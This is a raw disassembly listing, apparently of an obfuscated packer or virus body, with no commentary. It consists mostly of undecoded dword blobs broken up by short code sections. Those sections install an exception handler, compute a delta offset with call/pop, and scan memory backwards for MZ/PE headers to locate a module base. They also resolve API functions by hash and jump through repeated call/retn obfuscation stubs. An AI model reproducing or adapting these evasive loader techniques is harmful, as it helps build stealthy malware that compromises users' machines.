		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6EC35646h, 8E9F518Eh
		dd 743D1D70h, 354DBD89h, 0BF5007E9h, 415C29DFh,	89240489h
		dd 0E923418Dh, 7995FF07h, 6A07ED4Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DC59C355h
		dd 0BF7D27B8h, 0E8923BCFh, 0Ch,	0FF6967E5h, 0C488AE33h
		dd 7FA0E556h, 1BA9BD8Bh, 8B5F07E9h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0E311BDFh
		dd 7C3B613Ch, 0F6087E7h, 68Bh, 15858900h, 0E807E91Ch, 11h
		dd 363211B2h, 0B4A1645Fh, 0F21C370h, 0F104ECC7h, 12E97Bh
		dd 91670000h, 307695Fh,	2AB32DA0h, 0F322BE63h, 9101192Eh
		dd 0AE9615Bh, 8C000000h, 958F48B7h, 2C52CF0h, 830F5835h
		dd 6, 830Fh, 0DB0B0000h, 14840Fh, 8B660000h, 411E9D3h
		dd 8C0F0000h, 6, 195D9523h, 388007E9h, 5C850F00h, 6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B7BC351h, 7E9D3h, 0B70F0000h, 8B6648F8h
		dd 65853BD6h, 0F07ED4Fh, 6182h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 3880F008h
		dd 3B840F5Ch, 0F000000h, 3880FEB7h, 0BE850F2Fh,	0E8FFFFFFh
		dd 12h,	0B06FB12Bh, 0BAB73E5Fh,	0C121FD57h, 685D3A03h
		dd 7E8AF61h, 9B000000h,	0D4142C8h, 0B966D53Eh, 5959D2FBh
		dd 1F51BD09h, 294007E9h, 0E90C518Dh, 6DBD8307h,	7ED4Fh
		dd 11B840Fh, 8D890000h,	7E914F1h, 8B665050h, 48959D7h
		dd 3FB8B24h, 0ED4F6D85h, 219D3107h, 5007E909h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B293C357h, 183F79Eh, 853159DBh, 7E91A61h
		dd 950B046Ah, 7E924C1h,	89F88B50h, 0BD8B2404h, 7E911C1h
		dd 4F7995FFh, 6A07EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD3165C3h, 7E925ADh, 9218589h
		dd 958907E9h, 7E91661h,	96B9D88Bh, 587F2EEFh, 0DB0BC88Bh
		dd 1D840Fh, 8B0F0000h, 5, 83D18166h, 29DE968h, 8E90000h
		dd 45000000h, 0C185C4CDh, 0C6C9D53Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F609EC3h, 8E0FF7B7h, 2, 8961E58Ah, 0E91D6D85h, 6A5807h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 3A79F3C3h, 8BD2514Bh, 0E90EA5BDh, 8D0F5007h,	19h, 14E9h
		dd 176D8D00h, 29582B5Eh, 73D21AE2h, 4DAB9388h, 7CDBDEA9h
		dd 24048907h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	2DC35242h, 719529C8h, 0B907E915h, 440F762Dh, 0B5891E6Ah
		dd 7E91509h, 0F8B25750h, 24048959h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 47C35545h, 0CE9FEh,	454F0000h
		dd 0CAAF6311h, 37E17E59h, 95FF8A36h, 7ED4F79h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 62C35242h, 6AD88BF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0F31AC350h, 0D381A906h, 958BDF0Ah, 7E92A09h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0F95373F5h, 0FDB0B59h, 3084h, 131E900h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D10209C3h, 7ECD87F5h, 0A595890Dh, 0B107E911h
		dd 0AE990DDh, 0A7000000h, 597134F1h, 0F525FFCBh, 0CE8B5073h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 2EF45E76h, 28379394h, 4F59B5FFh,	6A07EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 36B2F5C3h
		dd 2B099509h, 95FF07E9h, 7ED4F5Dh, 0C00BCF8Bh, 22850Fh
		dd 81660000h, 61B64CE1h, 0E7816651h, 0C7596A4Ch, 0ED4F6185h
		dd 107h, 0D1B70F00h, 76E9h, 0D78B6600h,	82E18161h, 81719E43h
		dd 11CC6h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0BE351818h, 0DBB70F60h, 0C9958B60h
		dd 0BF07E921h, 621C890Dh, 72E96161h, 6AFFFFF9h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 1B9DC356h, 8F45F5FFh, 12819D89h, 0B96607E9h,	67BF5295h
		dd 68535037h, 76B232CFh, 3481F98Bh, 0B2B2CF24h,	2032BA76h
		dd 6A0C18h, 248D9D89h, 0B5FF07E9h, 7ED4F69h, 1D01BD8Bh
		dd 95FF07E9h, 7E90145h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 31C35545h, 872EA52h, 61858B49h, 6A07ED4Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0BE18C356h, 3AAA6B09h, 39A0CF9Eh,	2F799D31h
		dd 958907E9h, 7E93009h,	8A605390h, 505961E5h, 8B904AB2h
		dd 0E91AC18Dh, 71858D07h, 6A07ED4Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C8D2C356h
		dd 0CA80EB93h, 0BF669033h, 6650ED4Dh, 2B90CE8Bh, 0E91DF98Dh
		dd 2E858D07h, 6A07ED4Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0C5E9C351h,	8E0F57FDh
		dd 8, 28D0Fh, 90B50000h, 0D8D0360h, 3107E90Fh, 0E91D7595h
		dd 57506107h, 0A0CC72BAh, 4895903h, 0F5BD2B24h,	0FF07E91Ch
		dd 0E907FD95h, 68E0F07h, 8B000000h, 0E900D5BDh,	66C08B07h
		dd 83B062BAh, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 7EBD609h, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 0B8535011h, 4D0h, 0D5089D8Dh
		dd 0D3FF07EBh, 8166585Bh, 6A5F8AC2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F0F4C355h
		dd 3F8968B5h, 0D3B70F2Dh, 8D8BC08Bh, 7E91C41h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D08B57BDh, 8C259h, 14E9h, 0E0A6E600h, 5277BE5Eh, 75664AE0h
		dd 0E36325A5h, 0B3D3F837h, 6AC08BF0h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8999C355h
		dd 0E9197995h, 0AA858D07h, 8107ED4Fh, 165979D7h, 19858916h
		dd 0BA07E913h, 0F0115000h, 0EA81h, 0C283F000h, 91958914h
		dd 8307E900h, 858D14EAh, 7ED6247h, 35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5C9F94:				; CODE XREF: sdfs____:005C9FB6j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5C9FB1
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5C9FBB


loc_5C9FB1:				; CODE XREF: sdfs____:005C9F99j
		sub	eax, 1000h
		jmp	loc_5C9F94
; ---------------------------------------------------------------------------


loc_5C9FBB:				; CODE XREF: sdfs____:005C9FABj
		mov	ecx, eax
		mov	[ebp+7E9120Dh],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+7E92575h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+7E90CE1h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+7E91BADh],	edx
		add	edx, [eax+8]
		mov	[ebp+7E92CC9h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5CA014
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5CA014:				; CODE XREF: sdfs____:005C9FFCj
		cmp	dword ptr [ebp+7E92EB5h], 0
		jz	loc_5CA045
		mov	byte ptr [ebp+7E92659h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+7E90B11h]
		lea	eax, [ebp+7EC9FDBh]
		call	eax
		push	0
		call	eax
		mov	[ebp+7E91921h],	eax


loc_5CA045:				; CODE XREF: sdfs____:005CA01Bj
		mov	edx, ebx
		pusha
		mov	eax, eax
		push	0
		push	edx
		call	sub_5CA055
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA055	proc near		; CODE XREF: sdfs____:005CA04Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5CA055	endp

; ---------------------------------------------------------------------------
		db 7, 7Dh, 0DFh
		dd 8344E773h, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535019h, 438B8C0h,	85890000h, 7E911F9h, 0D7CE9D8Dh
		dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h,	438B853h
		dd 85890000h, 7E911F9h,	0D4BD9D8Dh, 0D3FF07EBh,	960585Bh
		dd 0E91C8D95h, 3BE9BF07h, 6A611A97h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F92C353h
		dd 411DECAEh, 6870Fh, 0B58B0000h, 7E90E35h, 0C820Fh, 820F0000h
		dd 6, 0B4DB509h, 0C08B07E9h, 1E19B58Bh,	0C8E807E9h, 6A000008h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C4CC355h, 20466332h, 1FF58589h, 0BD8B07E9h
		dd 7E91709h, 896E8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 70E46E1Ch, 0A32E1D13h
		dd 0EF8A37BBh, 245D8589h, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E28CCAC3h, 10E84EDFh
		dd 6F000000h, 63943E6Ah, 9EF59E80h, 0A1EFF150h,	5903B74Dh
		dd 9FD18166h, 1952948h,	0E807E919h, 823h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 0CFC35040h, 0F7FE9983h
		dd 56E68163h, 297DC2FDh, 0E90E359Dh, 79858907h,	6A07E929h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A4B5C355h, 4C12631Eh, 0CE9FC23h,	7000000h
		dd 4B0675A1h, 43BB4F5Dh, 0E879B14Dh, 7B7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 68C35646h, 56D0046Dh
		dd 0FF0E3259h, 0E1B5330Eh, 8907E911h, 0E9204585h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0E92FEFDFh, 762E8h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B346005h, 89CA8BF1h
		dd 0E929A585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 833B8EB8h, 0A74A23A5h
		dd 0BD8B1A6Ch, 7E922ADh, 70AE8h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 5FB7498Bh
		dd 99CD587Fh, 58589D0h,	6A07E91Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B30BC356h
		dd 0EF6CCAC8h, 7A780AF2h, 88C0Fh, 89530000h, 0E91BD98Dh
		dd 0A8E85F07h, 6A000006h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2334C356h, 0F02E184Bh
		dd 161B589h, 858907E9h,	7E91F55h, 8E8h,	0FA0D4500h, 873B824Dh
		dd 0A5B96663h, 64E85E84h, 31000006h, 0E90F7D9Dh, 0D1858907h
		dd 6A07E912h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0A67BC357h, 0D77233A3h, 61476893h
		dd 17F98D31h, 28E807E9h, 6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0B939C356h
		dd 3CDCFD68h, 0C362BE66h, 68B0Fh, 8B0F0000h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7E90E1Dh],	eax
		mov	edi, 43A60444h
		call	sub_5CA9D7
		mov	ecx, [ebp+7E906FDh]
		mov	[ebp+7E9170Dh],	eax
		sub	[ebp+7E92CD1h],	edi
		call	sub_5CA9D7
		push	0
		push	ecx
		call	sub_5CA412
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA412	proc near		; CODE XREF: sdfs____:005CA40Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CA412	endp

; ---------------------------------------------------------------------------
		dw 68A3h
		dd 9E96737h, 2C000000h,	0FB0F25B9h, 0F57536A8h,	31518589h
		dd 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0AE9BC8C3h, 0E980E000h, 575E84Fh,	12E90000h
		dd 0FB000000h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh, 293429E2h
		dd 118589A6h, 6A07E90Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 9EC5C357h, 0CD8426E0h
		dd 29D0F20Dh, 0E92A29BDh, 529E807h, 9D890000h, 7E90971h
		dd 1A898589h, 8D8B07E9h, 7E93041h, 512E8h, 3AB96600h, 8589F597h
		dd 7E91735h, 0C8DF8166h, 4FDE84Eh, 5E90000h, 52000000h
		dd 0D342DD3h, 18E1B589h, 858907E9h, 7E92C6Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E6C35141h, 9DB529C6h
		dd 8B07E916h, 0E91255B5h, 4B9E807h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A998AAC3h
		dd 52F60973h, 89774429h, 0E9227985h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 37BFF599h
		dd 100B0B4h, 0E9115DBDh, 0B5B58B07h, 0F07E929h,	8F0FD8B6h
		dd 6, 2DCDBD8Bh, 6BA07E9h, 6A000000h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 3F91C356h
		dd 3219589h, 0C38B07E9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 6AC35545h, 0C65F885Fh, 0DD5CF6ABh, 0C1F7B70Fh
		dd 0BD8B04E8h, 7E923DDh, 6AE2F766h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9E57C355h
		dd 0C81AE002h, 2713922Bh, 13458D8Bh, 0B53107E9h, 7E91D0Dh
		dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 29E42DC3h, 0F74C436h, 9D09F8BFh, 7E9156Dh
		dd 860F93h, 50000000h, 0FFC88B93h, 0E9005995h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BF663456h, 0BD8B4FE3h, 7E92FB5h, 55006A5Bh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0EFA5B75Fh
		dd 54988F15h, 0F70BD9BFh, 21958D63h, 6A07E917h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 60C8C351h, 8D8BB3B3h, 7E92F85h, 0D9BD8B61h, 8907E91Ah
		dd 55006A1Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0B589E7BFh, 7E914E5h, 1275B523h,	428907E9h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8D81B3F2h, 0E9098995h, 1800F07h,	0F9000000h
		dd 0B1A89FCh, 0E934418Dh, 4428907h, 0FE9h, 13D93700h, 0BD3F19D4h
		dd 318C0FE0h, 0D03B45D9h, 2119958Dh, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 8CC815C3h
		dd 0EE98531h, 1A8907E9h, 21C5E781h, 42890017h, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 3B80E621h, 18840F8Dh, 0E9000000h, 13h, 8FC45F56h, 1B8ED8D1h
		dd 507625B6h, 95EB6459h, 8B030DC4h, 0E90FDDBDh,	4DB58907h
		dd 8D07E901h, 0E91DF195h, 0FC576007h, 0FFF0815Fh, 6167AF3Ch
		dd 1A89F98Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	2DC35040h, 66E59592h, 0DB16D781h, 8B044289h, 19958DFAh
		dd 6A07E931h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 9FF6C355h, 7F04421Dh, 3DB58B57h
		dd 8907E91Dh, 52006A1Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 42897D63h, 0F5BD8B04h, 8D07E917h
		dd 0E92DE195h, 1A89F807h, 89F6B70Fh, 0F9600442h, 0BE9h
		dd 937F6000h, 784DE870h, 0CFA2ADF7h, 0C9958D61h, 6A07E917h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6B97C353h, 597D15BFh, 6A1A894Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1F91C355h, 22499CF1h, 5E90984h, 0A4000000h, 9CD3738Bh
		dd 6A044289h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 9E59C351h, 8DF88BACh, 0E9085195h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 593D6004h, 0FE8B5CFh, 8000000h, 6884A3D1h
		dd 0E5F59F1Eh, 9274334Dh, 7E90EB6h, 2D000000h, 82E6038Dh
		dd 895FD626h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 5DB58BC3h, 8907E935h, 6A0442h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0F8C6DC3h, 0F55D0978h, 0F60C59Bh, 689h, 8F0F00h, 61000000h
		dd 0E9F28B66h, 0Eh, 2D9A06C2h, 0B2993FD5h, 0F20C8C7Ch
		dd 0D7E9B3B9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 10F9C355h
		db 3Bh,	0FDh, 3Dh

; =============== S U B	R O U T	I N E =======================================



sub_5CA9D7	proc near		; CODE XREF: sdfs____:005CA3EBp
					; sdfs____:005CA402p
		push	0
		push	0
		push	edx
		call	sub_5CA9E4
		and	[edx-3Dh], bl
sub_5CA9D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CA9E4	proc near		; CODE XREF: sub_5CA9D7+5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CA9E4	endp

; ---------------------------------------------------------------------------
		sub	ch, bl
		mov	esi, [ebp+7E919B1h]
		push	0
		or	[ebp+7E90F91h],	ebx
		push	0
		push	0
		push	edx
		call	sub_5CAA11
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAA11	proc near		; CODE XREF: sdfs____:005CAA09p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5CAA11	endp

; ---------------------------------------------------------------------------
		db 5Eh,	96h, 36h
		dd 0CF8B94DBh, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BE4649C3h, 73687FAFh, 6820Fh, 9D890000h
		dd 7E90B05h, 5F43BF66h,	1D7995FFh, 0F78B07E9h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E963CB4Dh, 0B1AE7ABDh, 0F35B58Bh, 0C58A07E9h, 8BF78B66h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BD83931Ah, 7E918A5h, 83097500h,	0E91A45BDh
		dd 19740007h, 0C08B5350h, 438B8h, 0F5858900h, 8D07E920h
		dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h
		dd 438B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 60919B61h, 61DA8B66h, 0ABF18166h, 8DC08B9Fh
		dd 0E9086185h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 66C935Bh, 0D781669Ch
		dd 8B90C09Fh, 0CE950FEh, 0AF000000h, 773258CEh,	21F919B6h
		dd 905031E5h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0A4C35646h, 316BAE54h, 3865897Eh, 65BD8B44h, 907E923h
		dd 0E9204DB5h, 6A006A07h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 137C352h, 0E91E15B5h
		dd 6A006A07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 9714C355h, 374640CCh, 0F165285h
		dd 128Bh, 0DE900h, 0D3BD0000h, 7BA58BA6h, 0D2A77098h, 810F4C3Eh
		dd 517029EFh, 0B9858D36h, 107ED6Fh, 0E903219Dh,	5C08307h
		dd 0FFE8B66h, 68Fh, 0D9D8B00h, 5007E900h, 489DD8Ah, 6A006A24h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 7C73C350h, 8CB5ACFFh, 0E95231F7h,	0Bh, 3462C8BBh
		dd 0B310A1E8h, 6A76D73Fh, 4D8D0900h, 8B07E92Dh,	0B995FFF9h
		dd 6A07E90Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 1A75C350h, 18F38166h, 2C8D8D42h
		dd 6A07ECD7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0AAE0C355h, 82C72541h,	41BD09FDh
		dd 0FF07E90Fh, 37B5BFD1h, 5F510C55h, 1B69BD83h,	0F0107E9h
		dd 0A285h, 0EDBD2300h, 6A07E919h, 52006A02h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0BBB931ECh
		dd 55B1519Bh, 0FB8B6690h, 0BB525050h, 961CAF8h,	585A310Fh
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 4D4C64DCh, 4ABB6D34h, 0FF009AD6h, 0E902CD95h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 30D11746h, 0E9E18CDFh, 13h, 1C379765h, 60CE67A4h
		dd 0A5E7BA67h, 0EB821D5Fh, 0E989967Bh, 0CB8h, 0E8h, 0ED815D00h
		dd 7ED6FC3h, 0DA8454BBh, 0C3816629h, 6E82BE2h, 0BE000000h
		dd 705974B0h, 499D29FEh, 5B07E915h, 0B406858Dh,	958907ECh
		dd 7E902E1h, 6E850h, 9AF60000h,	0B4A45B3Dh, 6E8h, 0B1DB5900h
		dd 8BF3C53Fh, 895F5BDFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0B5C3E4C3h, 0AD8D89B9h
		dd 6407E918h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 9A5350C3h, 64A1CB80h
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 615DDDC3h, 6FBFC48Ah, 0FF383925h
		dd 0E90F9D85h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 36C690C5h, 8964958Bh
		dd 0E930BD95h, 12810F07h, 0E9000000h, 0Dh, 0BD657C81h
		dd 0BDA8689Eh, 96F7BB63h, 23FF6AADh, 0E90C919Dh, 0FB8B6607h
		dd 1FF5B5FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0A7559CC3h, 0FFB97EE1h, 0E9233D95h
		dd 109E907h, 9D8B0000h,	7E91B29h, 0BF6600B0h, 70E6C1DBh
		dd 2971E4FCh, 0E9055D9Dh, 0F613C07h, 0EA83h, 0FDA8A00h
		dd 0BAF8C8B6h, 6, 1E01BD09h, 0BD8B07E9h, 7E90CE5h, 9D8BC18Bh
		dd 7E91D31h, 6604E8C1h,	0D381D98Bh, 4EB25DF3h, 0FE2F766h
		dd 1B83h, 14E800h, 0DF7E0000h, 0ADC1230Ah, 0A458C0FCh
		dd 3C87EE53h, 56B9AF28h, 5FF5CB80h, 8B66C82Bh, 60D18BFBh
		dd 61C78BF8h, 1D85B531h, 4E907E9h, 66000000h, 8BAA1EBFh
		dd 0E9172185h, 1282BB07h, 0C78154DAh, 68F04551h, 0BF07C083h
		dd 5773F719h, 0E900C083h, 6, 0D3994E9Fh, 0DB80AA42h, 0FD03B8Ah
		dd 2083h, 0B59D3100h, 0E907E908h, 8, 1210DA6Ah,	671BA56Bh
		dd 36E9h, 0BD895700h, 7E91619h,	198D8B5Fh, 0F07E920h, 0E183F9B7h
		dd 1C840F01h, 66000000h, 83719FBBh, 0E92019A5h,	8B66FE07h
		dd 219589DEh, 0F07E917h, 0E9FEBFh, 8D000000h, 0ECEFBFB5h
		dd 95296007h, 7E92539h,	68C0Fh,	0EF810000h, 78575CA8h
		dd 6A006A61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0BDECC356h, 0D9BC0D1Fh, 3195FF9Ah
		dd 8907E90Ch, 0E90C3D9Dh, 6A0B907h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 30F498C3h
		dd 504C078h, 0A4BB66D0h, 0FCE183A2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 96C35242h, 8BCF358Bh, 0E90F999Dh
		dd 11E8FC07h, 0F000000h, 150E8828h, 4D246358h, 558560FCh
		dd 0D9E3ED16h, 3BE9E781h, 0B85B25A4h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CB09B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB09B	proc near		; CODE XREF: sdfs____:005CB093p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CB09B	endp

; ---------------------------------------------------------------------------
		daa
		wait
		das
		sub	edx, edx
		push	0
		push	esi
		call	sub_5CB0BB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB0BB	proc near		; CODE XREF: sdfs____:005CB0B3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5CB0BB	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		mov	edi, 33AD89FFh
		retn	0E8D1h
; ---------------------------------------------------------------------------
		dd 0E983D003h, 60F47504h, 0BCCB8166h, 59C680ABh, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0F849A22Fh, 89192165h, 0E9220595h, 880D07h, 6A0000h
